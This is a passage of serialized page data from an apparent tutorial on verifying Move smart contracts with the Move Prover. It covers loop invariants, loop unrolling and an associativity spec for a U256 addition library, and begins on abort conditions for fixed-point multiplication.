",{"type":24,"tag":80,"props":17091,"children":17093},{"className":17092},[],[17094],{"type":29,"value":17095},"i \u003C= n_coins",{"type":29,"value":87},{"type":24,"tag":137,"props":17098,"children":17100},{"code":17099,"language":8613,"meta":7,"className":8614,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[17101],{"type":24,"tag":80,"props":17102,"children":17103},{"__ignoreMap":7},[17104,17115,17126,17161,17184,17267,17274,17297],{"type":24,"tag":147,"props":17105,"children":17106},{"class":149,"line":150},[17107,17111],{"type":24,"tag":147,"props":17108,"children":17109},{"style":321},[17110],{"type":29,"value":16699},{"type":24,"tag":147,"props":17112,"children":17113},{"style":235},[17114],{"type":29,"value":14158},{"type":24,"tag":147,"props":17116,"children":17117},{"class":149,"line":160},[17118,17122],{"type":24,"tag":147,"props":17119,"children":17120},{"style":247},[17121],{"type":29,"value":14553},{"type":24,"tag":147,"props":17123,"children":17124},{"style":235},[17125],{"type":29,"value":6630},{"type":24,"tag":147,"props":17127,"children":17128},{"class":149,"line":169},[17129,17133,17137,17141,17145,17149,17153,17157],{"type":24,"tag":147,"props":17130,"children":17131},{"style":247},[17132],{"type":29,"value":16722},{"type":24,"tag":147,"props":17134,"children":17135},{"style":229},[17136],{"type":29,"value":14183},{"type":24,"tag":147,"props":17138,"children":17139},{"style":235},[17140],{"type":29,"value":480},{"type":24,"tag":147,"props":17142,"children":17143},{"style":247},[17144],{"type":29,"value":14192},{"type":24,"tag":147,"props":17146,"children":17147},{"style":235},[17148],{"type":29,"value":564},{"type":24,"tag":147,"props":17150,"children":17151},{"style":241},[17152],{"type":29,"value":6600},{"type":24,"tag":147,"props":17154,"children":17155},{"style":247},[17156],{"type":29,"value":9023},{"type":24,"tag":147,"props":17158,"children":17159},{"style":235},[17160],{"type":29,"value":432},{"type":24,"tag":147,"props":17162,"children":17163},{"class":149,"line":178},[17164,17168,17172,17176,17180],{"type":24,"tag":147,"props":17165,"children":17166},{"style":247},[17167],{"type":29,"value":16722},{"type":24,"tag":147,"props":17169,"children":17170},{"style":247},[17171],{"type":29,"value":9023},{"type":24,"tag":147,"props":17173,"children":17174},{"style":241},[17175],{"type":29,"value":13823},{"type":24,"tag":147,"props":17177,"children":17178},{"style":247},[17179],{"type":29,"value":14112},{"type":24,"tag":147,"props":17181,"children":17182},{"style":235},[17183],{"type":29,"value":432},{"type":24,"tag":147,"props":17185,"children":17186},{"class":149,"line":187},[17187,17191,17195,17199,17203,17207,17211,17215,17219,17223,17227,17231,17235,17239,17243,17247,17251,17255,17259,17263],{"type":24,"tag":147,"props":17188,"children":17189},{"style":247},[17190],{"type":29,"value":16722},{"type":24,"tag":147,"props":17192,"children":17193},{"style":247},[17194],{"type":29,"value":14243},{"type":24,"tag":147,"props":17196,"children":17197},{"style":247},[17198],{"type":29,"value":14248},{"type":24,"tag":147,"props":17200,"children":17201},{"style":218},[17202],{"type":29,"value":8674},{"type":24,"tag":147,"props":17204,"children":17205},{"style":705},[17206],{"type":29,"value":708},{"type":24,"tag":147,"props":17208,"children":17209},{"style":241},[17210],{"type":29,"value":8683},{"type":24,"tag":147,"props":17212,"children":17213},{"style":247},[17214],{"type":29,"value":9363},{"type":24,"tag":147,"props":17216,"children":17217},{"style":241},[17218],{"type":29,"value":978},{"type":24,"tag":147,"props":17220,"children":17221},{"style":247},[17222],{"type":29,"value":14047},{"type":24,"tag":147,"props":17224,"children":17225},{"style":235},[17226],{"type":29,"value":9358},{"type":24,"tag":147,"props":17228,"children":17229},{"style":247},[17230],{"type":29,"value":14281},{"type":24,"tag":147,"props":17232,"children":17233},{"style":235},[17234],{"type":29,"value":14286},{"type":24,"tag":147,"props":17236,"children":17237},{"style":241},[17238],{"type":29,"value":6600},{"type":24,"tag":147,"props":17240,"children":17241},{"style":247},[17242],{"type":29,"value":14295},{"type":24,"tag":147,"props":17244,"children":17245},{"style":235},[17246],{"type":29,"value":9358},{"type":24,"tag":147,"props":17248,"children":17249},{"style":247},[17250],{"type":29,"value":14281},{"type":24,"tag":147,"props":17252,"children":17253},{"style":235},[17254],{"type":29,"value":14286},{"type":24,"tag":147,"props":17256,"children":17257},{"style":241},[17258],{"type":29,"value":244},{"type":24,"tag":147,"props":17260,"children":17261},{"style":247},[17262],{"type":29,"value":14112},{"type":24,"tag":147,"props":17264,"children":17265},{"style":235},[17266],{"type":29,"value":432},{"type":24,"tag":147,"props":17268,"children":17269},{"class":149,"line":196},[17270],{"type":24,"tag":147,"props":17271,"children":17272},{"style":235},[17273],{"type":29,"value":14545},{"type":24,"tag":147,"props":17275,"children":17276},{"class":149,"line":205},[17277,17281,17285,17289,17293],{"type":24,"tag":147,"props":17278,"children":17279},{"style":235},[17280],{"type":29,"value":16871},{"type":24,"tag":147,"props":17282,"children":17283},{"style":247},[17284],{"type":29,"value":9363},{"type":24,"tag":147,"props":17286,"children":17287},{"style":241},[17288],{"type":29,"value":14344},{"type":24,"tag":147,"props":17290,"children":17291},{"style":247},[17292],{"type":29,"value":14112},{"type":24,"tag":147,"props":17294,"children":17295},{"style":235},[17296],{"type":29,"value":269},{"type":24,"tag":147,"props":17298,"children":17299},{"class":149,"line":214},[17300],{"type":24,"tag":147,"props":17301,"children":17302},{"style":235},[17303],{"type":29,"value":16895},{"type":24,"tag":25,"props":17305,"children":17306},{},[17307],{"type":29,"value":17308},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":24,"tag":25,"props":17310,"children":17311},{},[17312,17314,17319],{"type":29,"value":17313},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":24,"tag":80,"props":17315,"children":17317},{"className":17316},[],[17318],{"type":29,"value":15259},{"type":29,"value":17320}," function will always iterate exactly 4 times:",{"type":24,"tag":137,"props":17322,"children":17324},{"code":17323,"language":8613,"meta":7,"className":8614,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[17325],{"type":24,"tag":80,"props":17326,"children":17327},{"__ignoreMap":7},[17328,17336,17369,17376,17392,17399,17423,17447,17492,17536,17543],{"type":24,"tag":147,"props":17329,"children":17330},{"class":149,"line":150},[17331],{"type":24,"tag":147,"props":17332,"children":17333},{"style":154},[17334],{"type":29,"value":17335},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":24,"tag":147,"props":17337,"children":17338},{"class":149,"line":160},[17339,17343,17348,17352,17356,17360,17365],{"type":24,"tag":147,"props":17340,"children":17341},{"style":218},[17342],{"type":29,"value":15276},{"type":24,"tag":147,"props":17344,"children":17345},{"style":235},[17346],{"type":29,"value":17347}," WORDS",{"type":24,"tag":147,"props":17349,"children":17350},{"style":241},[17351],{"type":29,"value":978},{"type":24,"tag":147,"props":17353,"children":17354},{"style":9044},[17355],{"type":29,"value":11484},{"type":24,"tag":147,"props":17357,"children":17358},{"style":241},[17359],{"type":29,"value":651},{"type":24,"tag":147,"props":17361,"children":17362},{"style":705},[17363],{"type":29,"value":17364}," 4",{"type":24,"tag":147,"props":17366,"children":17367},{"style":235},[17368],{"type":29,"value":432},{"type":24,"tag":147,"props":17370,"children":17371},{"class":149,"line":169},[17372],{"type":24,"tag":147,"props":17373,"children":17374},{"emptyLinePlaceholder":16},[17375],{"type":29,"value":314},{"type":24,"tag":147,"props":17377,"children":17378},{"class":149,"line":178},[17379,17383,17387],{"type":24,"tag":147,"props":17380,"children":17381},{"style":235},[17382],{"type":29,"value":9358},{"type":24,"tag":147,"props":17384,"children":17385},{"style":241},[17386],{"type":29,"value":15212},{"type":24,"tag":147,"props":17388,"children":17389},{"style":235},[17390],{"type":29,"value":17391},"]\n",{"type":24,"tag":147,"props":17393,"children":17394},{"class":149,"line":187},[17395],{"type":24,"tag":147,"props":17396,"children":17397},{"emptyLinePlaceholder":16},[17398],{"type":29,"value":314},{"type":24,"tag":147,"props":17400,"children":17401},{"class":149,"line":196},[17402,17407,17411,17415,17419],{"type":24,"tag":147,"props":17403,"children":17404},{"style":218},[17405],{"type":29,"value":17406},"let",{"type":24,"tag":147,"props":17408,"children":17409},{"style":247},[17410],{"type":29,"value":9023},{"type":24,"tag":147,"props":17412,"children":17413},{"style":241},[17414],{"type":29,"value":651},{"type":24,"tag":147,"props":17416,"children":17417},{"style":705},[17418],{"type":29,"value":708},{"type":24,"tag":147,"props":17420,"children":17421},{"style":235},[17422],{"type":29,"value":432},{"type":24,"tag":147,"props":17424,"children":17425},{"class":149,"line":205},[17426,17430,17434,17438,17442],{"type":24,"tag":147,"props":17427,"children":17428},{"style":321},[17429],{"type":29,"value":17080},{"type":24,"tag":147,"props":17431,"children":17432},{"style":235},[17433],{"type":29,"value":408},{"type":24,"tag":147,"props":17435,"children":17436},{"style":247},[17437],{"type":29,"value":9363},{"type":24,"tag":147,"props":17439,"children":17440},{"style":241},[17441],{"type":29,"value":14344},{"type":24,"tag":147,"props":17443,"children":17444},{"style":235},[17445],{"type":29,"value":17446}," WORDS) {\n",{"type":24,"tag":147,"props":17448,"children":17449},{"class":149,"line":214},[17450,17454,17459,17463,17468,17472,17476,17480,17484,17488],{"type":24,"tag":147,"props":17451,"children":17452},{"style":218},[17453],{"type":29,"value":8634},{"type":24,"tag":147,"props":17455,"children":17456},{"style":247},[17457],{"type":29,"value":17458}," a1",{"type":24,"tag":147,"props":17460,"children":17461},{"style":241},[17462],{"type":29,"value":651},{"type":24,"tag":147,"props":17464,"children":17465},{"style":229},[17466],{"type":29,"value":17467}," get",{"type":24,"tag":147,"props":17469,"children":17470},{"style":235},[17471],{"type":29,"value":480},{"type":24,"tag":147,"props":17473,"children":17474},{"style":241},[17475],{"type":29,"value":485},{"type":24,"tag":147,"props":17477,"children":17478},{"style":247},[17479],{"type":29,"value":2773},{"type":24,"tag":147,"props":17481,"children":17482},{"style":235},[17483],{"type":29,"value":546},{"type":24,"tag":147,"props":17485,"children":17486},{"style":247},[17487],{"type":29,"value":9363},{"type":24,"tag":147,"props":17489,"children":17490},{"style":235},[17491],{"type":29,"value":1473},{"type":24,"tag":147,"props":17493,"children":17494},{"class":149,"line":272},[17495,17499,17504,17508,17512,17516,17520,17524,17528,17532],{"type":24,"tag":147,"props":17496,"children":17497},{"style":218},[17498],{"type":29,"value":8634},{"type":24,"tag":147,"props":17500,"children":17501},{"style":247},[17502],{"type":29,"value":17503}," b1",{"type":24,"tag":147,"props":17505,"children":17506},{"style":241},[17507],{"type":29,"value":651},{"type":24,"tag":147,"props":17509,"children":17510},{"style":229},[17511],{"type":29,"value":17467},{"type":24,"tag":147,"props":17513,"children":17514},{"style":235},[17515],{"type":29,"value":480},{"type":24,"tag":147,"props":17517,"children":17518},{"style":241},[17519],{"type":29,"value":485},{"type":24,"tag":147,"props":17521,"children":17522},{"style":247},[17523],{"type":29,"value":8852},{"type":24,"tag":147,"props":17525,"children":17526},{"style":235},[17527],{"type":29,"value":546},{"type":24,"tag":147,"props":17529,"children":17530},{"style":247},[17531],{"type":29,"value":9363},{"type":24,"tag":147,"props":17533,"children":17534},{"style":235},[17535],{"type":29,"value":1473},{"type":24,"tag":147,"props":17537,"children":17538},{"class":149,"line":281},[17539],{"type":24,"tag":147,"props":17540,"children":17541},{"emptyLinePlaceholder":16},[17542],{"type":29,"value":314},{"type":24,"tag":147,"props":17544,"children":17545},{"class":149,"line":299},[17546,17550,17554],{"type":24,"tag":147,"props":17547,"children":17548},{"style":235},[17549],{"type":29,"value":9358},{"type":24,"tag":147,"props":17551,"children":17552},{"style":241},[17553],{"type":29,"value":15212},{"type":24,"tag":147,"props":17555,"children":17556},{"style":235},[17557],{"type":29,"value":17391},{"type":24,"tag":25,"props":17559,"children":17560},{},[17561],{"type":29,"value":17562},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":24,"tag":137,"props":17564,"children":17566},{"code":17565},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[17567],{"type":24,"tag":80,"props":17568,"children":17569},{"__ignoreMap":7},[17570],{"type":29,"value":17565},{"type":24,"tag":25,"props":17572,"children":17573},{},[17574,17576,17581,17582,17588],{"type":29,"value":17575},"For the ",{"type":24,"tag":10949,"props":17577,"children":17578},{},[17579],{"type":29,"value":17580},"Associative Property",{"type":29,"value":408},{"type":24,"tag":80,"props":17583,"children":17585},{"className":17584},[],[17586],{"type":29,"value":17587},"a+(b+c) = (a+b)+c",{"type":29,"value":17589},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":24,"tag":137,"props":17591,"children":17593},{"code":17592,"language":8613,"meta":7,"className":8614,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[17594],{"type":24,"tag":80,"props":17595,"children":17596},{"__ignoreMap":7},[17597,17674,17713,17754,17793,17834,17841,17891,17930],{"type":24,"tag":147,"props":17598,"children":17599},{"class":149,"line":150},[17600,17604,17609,17613,17617,17621,17625,17629,17633,17637,17641,17645,17649,17653,17657,17661,17665,17670],{"type":24,"tag":147,"props":17601,"children":17602},{"style":247},[17603],{"type":29,"value":12733},{"type":24,"tag":147,"props":17605,"children":17606},{"style":229},[17607],{"type":29,"value":17608}," add_assoc_property",{"type":24,"tag":147,"props":17610,"children":17611},{"style":235},[17612],{"type":29,"value":480},{"type":24,"tag":147,"props":17614,"children":17615},{"style":247},[17616],{"type":29,"value":2773},{"type":24,"tag":147,"props":17618,"children":17619},{"style":241},[17620],{"type":29,"value":978},{"type":24,"tag":147,"props":17622,"children":17623},{"style":9044},[17624],{"type":29,"value":10354},{"type":24,"tag":147,"props":17626,"children":17627},{"style":235},[17628],{"type":29,"value":546},{"type":24,"tag":147,"props":17630,"children":17631},{"style":247},[17632],{"type":29,"value":8852},{"type":24,"tag":147,"props":17634,"children":17635},{"style":241},[17636],{"type":29,"value":978},{"type":24,"tag":147,"props":17638,"children":17639},{"style":9044},[17640],{"type":29,"value":10354},{"type":24,"tag":147,"props":17642,"children":17643},{"style":235},[17644],{"type":29,"value":546},{"type":24,"tag":147,"props":17646,"children":17647},{"style":247},[17648],{"type":29,"value":140},{"type":24,"tag":147,"props":17650,"children":17651},{"style":241},[17652],{"type":29,"value":978},{"type":24,"tag":147,"props":17654,"children":17655},{"style":9044},[17656],{"type":29,"value":10354},{"type":24,"tag":147,"props":17658,"children":17659},{"style":235},[17660],{"type":29,"value":8758},{"type":24,"tag":147,"props":17662,"children":17663},{"style":241},[17664],{"type":29,"value":978},{"type":24,"tag":147,"props":17666,"children":17667},{"style":9044},[17668],{"type":29,"value":17669}," bool",{"type":24,"tag":147,"props":17671,"children":17672},{"style":235},[17673],{"type":29,"value":6630},{"type":24,"tag":147,"props":17675,"children":17676},{"class":149,"line":160},[17677,17681,17685,17689,17693,17697,17701,17705,17709],{"type":24,"tag":147,"props":17678,"children":17679},{"style":218},[17680],{"type":29,"value":8634},{"type":24,"tag":147,"props":17682,"children":17683},{"style":247},[17684],{"type":29,"value":13818},{"type":24,"tag":147,"props":17686,"children":17687},{"style":241},[17688],{"type":29,"value":651},{"type":24,"tag":147,"props":17690,"children":17691},{"style":229},[17692],{"type":29,"value":15202},{"type":24,"tag":147,"props":17694,"children":17695},{"style":235},[17696],{"type":29,"value":480},{"type":24,"tag":147,"props":17698,"children":17699},{"style":247},[17700],{"type":29,"value":8852},{"type":24,"tag":147,"props":17702,"children":17703},{"style":235},[17704],{"type":29,"value":546},{"type":24,"tag":147,"props":17706,"children":17707},{"style":247},[17708],{"type":29,"value":140},{"type":24,"tag":147,"props":17710,"children":17711},{"style":235},[17712],{"type":29,"value":1473},{"type":24,"tag":147,"props":17714,"children":17715},{"class":149,"line":169},[17716,17720,17725,17729,17733,17737,17741,17745,17750],{"type":24,"tag":147,"props":17717,"children":17718},{"style":218},[17719],{"type":29,"value":8634},{"type":24,"tag":147,"props":17721,"children":17722},{"style":247},[17723],{"type":29,"value":17724}," result_11",{"type":24,"tag":147,"props":17726,"children":17727},{"style":241},[17728],{"type":29,"value":651},{"type":24,"tag":147,"props":17730,"children":17731},{"style":229},[17732],{"type":29,"value":15202},{"type":24,"tag":147,"props":17734,"children":17735},{"style":235},[17736],{"type":29,"value":480},{"type":24,"tag":147,"props":17738,"children":17739},{"style":247},[17740],{"type":29,"value":2773},{"type":24,"tag":147,"props":17742,"children":17743},{"style":235},[17744],{"type":29,"value":546},{"type":24,"tag":147,"props":17746,"children":17747},{"style":247},[17748],{"type":29,"value":17749},"result_1",{"type":24,"tag":147,"props":17751,"children":17752},{"style":235},[17753],{"type":29,"value":1473},{"type":24,"tag":147,"props":17755,"children":17756},{"class":149,"line":178},[17757,17761,17765,17769,17773,17777,17781,17785,17789],{"type":24,"tag":147,"props":17758,"children":17759},{"style":218},[17760],{"type":29,"value":8634},{"type":24,"tag":147,"props":17762,"children":17763},{"style":247},[17764],{"type":29,"value":13844},{"type":24,"tag":147,"props":17766,"children":17767},{"style":241},[17768],{"type":29,"value":651},{"type":24,"tag":147,"props":17770,"children":17771},{"style":229},[17772],{"type":29,"value":15202},{"type":24,"tag":147,"props":17774,"children":17775},{"style":235},[17776],{"type":29,"value":480},{"type":24,"tag":147,"props":17778,"children":17779},{"style":247},[17780],{"type":29,"value":2773},{"type":24,"tag":147,"props":17782,"children":17783},{"style":235},[17784],{"type":29,"value":546},{"type":24,"tag":147,"props":17786,"children":17787},{"style":247},[17788],{"type":29,"value":8852},{"type":24,"tag":147,"props":17790,"children":17791},{"style":235},[17792],{"type":29,"value":1473},{"type":24,"tag":147,"props":17794,"children":17795},{"class":149,"line":187},[17796,17800,17805,17809,17813,17817,17821,17825,17830],{"type":24,"tag":147,"props":17797,"children":17798},{"style":218},[17799],{"type":29,"value":8634},{"type":24,"tag":147,"props":17801,"children":17802},{"style":247},[17803],{"type":29,"value":17804}," result_22",{"type":24,"tag":147,"props":17806,"children":17807},{"style":241},[17808],{"type":29,"value":651},{"type":24,"tag":147,"props":17810,"children":17811},{"style":229},[17812],{"type":29,"value":15202},{"type":24,"tag":147,"props":17814,"children":17815},{"style":235},[17816],{"type":29,"value":480},{"type":24,"tag":147,"props":17818,"children":17819},{"style":247},[17820],{"type":29,"value":140},{"type":24,"tag":147,"props":17822,"children":17823},{"style":235},[17824],{"type":29,"value":546},{"type":24,"tag":147,"props":17826,"children":17827},{"style":247},[17828],{"type":29,"value":17829},"result_2",{"type":24,"tag":147,"props":17831,"children":17832},{"style":235},[17833],{"type":29,"value":1473},{"type":24,"tag":147,"props":17835,"children":17836},{"class":149,"line":196},[17837],{"type":24,"tag":147,"props":17838,"children":17839},{"emptyLinePlaceholder":16},[17840],{"type":29,"value":314},{"type":24,"tag":147,"props":17842,"children":17843},{"class":149,"line":205},[17844,17848,17852,17856,17861,17865,17869,17874,17878,17882,17887],{"type":24,"tag":147,"props":17845,"children":17846},{"style":218},[17847],{"type":29,"value":8634},{"type":24,"tag":147,"props":17849,"children":17850},{"style":247},[17851],{"type":29,"value":13486},{"type":24,"tag":147,"props":17853,"children":17854},{"style":241},[17855],{"type":29,"value":651},{"type":24,"tag":147,"props":17857,"children":17858},{"style":229},[17859],{"type":29,"value":17860}," compare",{"type":24,"tag":147,"props":17862,"children":17863},{"style":235},[17864],{"type":29,"value":480},{"type":24,"tag":147,"props":17866,"children":17867},{"style":241},[17868],{"type":29,"value":485},{"type":24,"tag":147,"props":17870,"children":17871},{"style":247},[17872],{"type":29,"value":17873},"result_11",{"type":24,"tag":147,"props":17875,"children":17876},{"style":235},[17877],{"type":29,"value":546},{"type":24,"tag":147,"props":17879,"children":17880},{"style":241},[17881],{"type":29,"value":485},{"type":24,"tag":147,"props":17883,"children":17884},{"style":247},[17885],{"type":29,"value":17886},"result_22",{"type":24,"tag":147,"props":17888,"children":17889},{"style":235},[17890],{"type":29,"value":1473},{"type":24,"tag":147,"props":17892,"children":17893},{"class":149,"line":214},[17894,17898,17903,17907,17911,17916,17920,17925],{"type":24,"tag":147,"props":17895,"children":17896},{"style":321},[17897],{"type":29,"value":4759},{"type":24,"tag":147,"props":17899,"children":17900},{"style":235},[17901],{"type":29,"value":17902}," ( ",{"type":24,"tag":147,"props":17904,"children":17905},{"style":247},[17906],{"type":29,"value":13551},{"type":24,"tag":147,"props":17908,"children":17909},{"style":241},[17910],{"type":29,"value":8911},{"type":24,"tag":147,"props":17912,"children":17913},{"style":235},[17914],{"type":29,"value":17915}," EQUAL ) ",{"type":24,"tag":147,"props":17917,"children":17918},{"style":218},[17919],{"type":29,"value":9619},{"type":24,"tag":147,"props":17921,"children":17922},{"style":321},[17923],{"type":29,"value":17924}," else",{"type":24,"tag":147,"props":17926,"children":17927},{"style":218},[17928],{"type":29,"value":17929}," false\n",{"type":24,"tag":147,"props":17931,"children":17932},{"class":149,"line":272},[17933],{"type":24,"tag":147,"props":17934,"children":17935},{"style":235},[17936],{"type":29,"value":827},{"type":24,"tag":25,"props":17938,"children":17939},{},[17940],{"type":29,"value":17941},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":24,"tag":137,"props":17943,"children":17945},{"code":17944,"language":8613,"meta":7,"className":8614,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[17946],{"type":24,"tag":80,"props":17947,"children":17948},{"__ignoreMap":7},[17949,17964,18068,18092],{"type":24,"tag":147,"props":17950,"children":17951},{"class":149,"line":150},[17952,17956,17960],{"type":24,"tag":147,"props":17953,"children":17954},{"style":247},[17955],{"type":29,"value":13901},{"type":24,"tag":147,"props":17957,"children":17958},{"style":247},[17959],{"type":29,"value":17608},{"type":24,"tag":147,"props":17961,"children":17962},{"style":235},[17963],{"type":29,"value":6630},{"type":24,"tag":147,"props":17965,"children":17966},{"class":149,"line":160},[17967,17971,17975,17980,17984,17988,17992,17996,18000,18004,18008,18012,18016,18020,18024,18028,18032,18036,18040,18044,18048,18052,18056,18060,18064],{"type":24,"tag":147,"props":17968,"children":17969},{"style":247},[17970],{"type":29,"value":15523},{"type":24,"tag":147,"props":17972,"children":17973},{"style":235},[17974],{"type":29,"value":408},{"type":24,"tag":147,"props":17976,"children":17977},{"style":229},[17978],{"type":29,"value":17979},"value_of_U256",{"type":24,"tag":147,"props":17981,"children":17982},{"style":235},[17983],{"type":29,"value":480},{"type":24,"tag":147,"props":17985,"children":17986},{"style":247},[17987],{"type":29,"value":2773},{"type":24,"tag":147,"props":17989,"children":17990},{"style":235},[17991],{"type":29,"value":564},{"type":24,"tag":147,"props":17993,"children":17994},{"style":241},[17995],{"type":29,"value":624},{"type":24,"tag":147,"props":17997,"children":17998},{"style":229},[17999],{"type":29,"value":15325},{"type":24,"tag":147,"props":18001,"children":18002},{"style":235},[18003],{"type":29,"value":480},{"type":24,"tag":147,"props":18005,"children":18006},{"style":247},[18007],{"type":29,"value":8852},{"type":24,"tag":147,"props":18009,"children":18010},{"style":235},[18011],{"type":29,"value":14462},{"type":24,"tag":147,"props":18013,"children":18014},{"style":241},[18015],{"type":29,"value":624},{"type":24,"tag":147,"props":18017,"children":18018},{"style":229},[18019],{"type":29,"value":15325},{"type":24,"tag":147,"props":18021,"children":18022},{"style":235},[18023],{"type":29,"value":480},{"type":24,"tag":147,"props":18025,"children":18026},{"style":247},[18027],{"type":29,"value":140},{"type":24,"tag":147,"props":18029,"children":18030},{"style":235},[18031],{"type":29,"value":564},{"type":24,"tag":147,"props":18033,"children":18034},{"style":241},[18035],{"type":29,"value":15564},{"type":24,"tag":147,"props":18037,"children":18038},{"style":9044},[18039],{"type":29,"value":15281},{"type":24,"tag":147,"props":18041,"children":18042},{"style":241},[18043],{"type":29,"value":1263},{"type":24,"tag":147,"props":18045,"children":18046},{"style":9044},[18047],{"type":29,"value":15281},{"type":24,"tag":147,"props":18049,"children":18050},{"style":241},[18051],{"type":29,"value":1263},{"type":24,"tag":147,"props":18053,"children":18054},{"style":9044},[18055],{"type":29,"value":15281},{"type":24,"tag":147,"props":18057,"children":18058},{"style":241},[18059],{"type":29,"value":1263},{"type":24,"tag":147,"props":18061,"children":18062},{"style":9044},[18063],{"type":29,"value":15281},{"type":24,"tag":147,"props":18065,"children":18066},{"style":235},[18067],{"type":29,"value":432},{"type":24,"tag":147,"props":18069,"children":18070},{"class":149,"line":169},[18071,18075,18079,18083,18088],{"type":24,"tag":147,"props":18072,"children":18073},{"style":247},[18074],{"type":29,"value":15821},{"type":24,"tag":147,"props":18076,"children":18077},{"style":247},[18078],{"type":29,"value":14782},{"type":24,"tag":147,"props":18080,"children":18081},{"style":241},[18082],{"type":29,"value":8911},{"type":24,"tag":147,"props":18084,"children":18085},{"style":218},[18086],{"type":29,"value":18087}," true",{"type":24,"tag":147,"props":18089,"children":18090},{"style":235},[18091],{"type":29,"value":432},{"type":24,"tag":147,"props":18093,"children":18094},{"class":149,"line":178},[18095],{"type":24,"tag":147,"props":18096,"children":18097},{"style":235},[18098],{"type":29,"value":827},{"type":24,"tag":25,"props":18100,"children":18101},{},[18102],{"type":29,"value":18103},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":24,"tag":137,"props":18105,"children":18106},{"code":17565},[18107],{"type":24,"tag":80,"props":18108,"children":18109},{"__ignoreMap":7},[18110],{"type":29,"value":17565},{"type":24,"tag":25,"props":18112,"children":18113},{},[18114,18116,18123],{"type":29,"value":18115},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":24,"tag":2773,"props":18117,"children":18120},{"href":18118,"rel":18119},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[2777],[18121],{"type":29,"value":18122},"spec-lang.md",{"type":29,"value":18124}," in the Move Repository.",{"type":24,"tag":32,"props":18126,"children":18128},{"id":18127},"use-cases",[18129],{"type":29,"value":18130},"Use Cases",{"type":24,"tag":25,"props":18132,"children":18133},{},[18134],{"type":29,"value":18135},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":24,"tag":25,"props":18137,"children":18138},{},[18139],{"type":29,"value":18140},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":24,"tag":43,"props":18142,"children":18144},{"id":18143},"error-conditions",[18145],{"type":29,"value":18146},"Error Conditions",{"type":24,"tag":25,"props":18148,"children":18149},{},[18150,18152,18158],{"type":29,"value":18151},"Taking an example from ",{"type":24,"tag":80,"props":18153,"children":18155},{"className":18154},[],[18156],{"type":29,"value":18157},"std::fixed_point32",{"type":29,"value":18159},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":24,"tag":137,"props":18161,"children":18163},{"code":18162,"language":8613,"meta":7,"className":8614,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[18164],{"type":24,"tag":80,"props":18165,"children":18166},{"__ignoreMap":7},[18167,18188,18208,18229,18275,18283,18346,18385],{"type":24,"tag":147,"props":18168,"children":18169},{"class":149,"line":150},[18170,18174,18179,18184],{"type":24,"tag":147,"props":18171,"children":18172},{"style":247},[18173],{"type":29,"value":14553},{"type":24,"tag":147,"props":18175,"children":18176},{"style":247},[18177],{"type":29,"value":18178}," schema",{"type":24,"tag":147,"props":18180,"children":18181},{"style":9044},[18182],{"type":29,"value":18183}," MultiplyAbortsIf",{"type":24,"tag":147,"props":18185,"children":18186},{"style":235},[18187],{"type":29,"value":6630},{"type":24,"tag":147,"props":18189,"children":18190},{"class":149,"line":160},[18191,18196,18200,18204],{"type":24,"tag":147,"props":18192,"children":18193},{"style":247},[18194],{"type":29,"value":18195},"          val",{"type":24,"tag":147,"props":18197,"children":18198},{"style":241},[18199],{"type":29,"value":978},{"type":24,"tag":147,"props":18201,"children":18202},{"style":247},[18203],{"type":29,"value":15354},{"type":24,"tag":147,"props":18205,"children":18206},{"style":235},[18207],{"type":29,"value":432},{"type":24,"tag":147,"props":18209,"children":18210},{"class":149,"line":169},[18211,18216,18220,18225],{"type":24,"tag":147,"props":18212,"children":18213},{"style":247},[18214],{"type":29,"value":18215},"          multiplier",{"type":24,"tag":147,"props":18217,"children":18218},{"style":241},[18219],{"type":29,"value":978},{"type":24,"tag":147,"props":18221,"children":18222},{"style":9044},[18223],{"type":29,"value":18224}," FixedPoint32",{"type":24,"tag":147,"props":18226,"children":18227},{"style":235},[18228],{"type":29,"value":432},{"type":24,"tag":147,"props":18230,"children":18231},{"class":149,"line":178},[18232,18237,18242,18246,18251,18255,18260,18265,18270],{"type":24,"tag":147,"props":18233,"children":18234},{"style":247},[18235],{"type":29,"value":18236},"          aborts_if",{"type":24,"tag":147,"props":18238,"children":18239},{"style":229},[18240],{"type":29,"value":18241}," 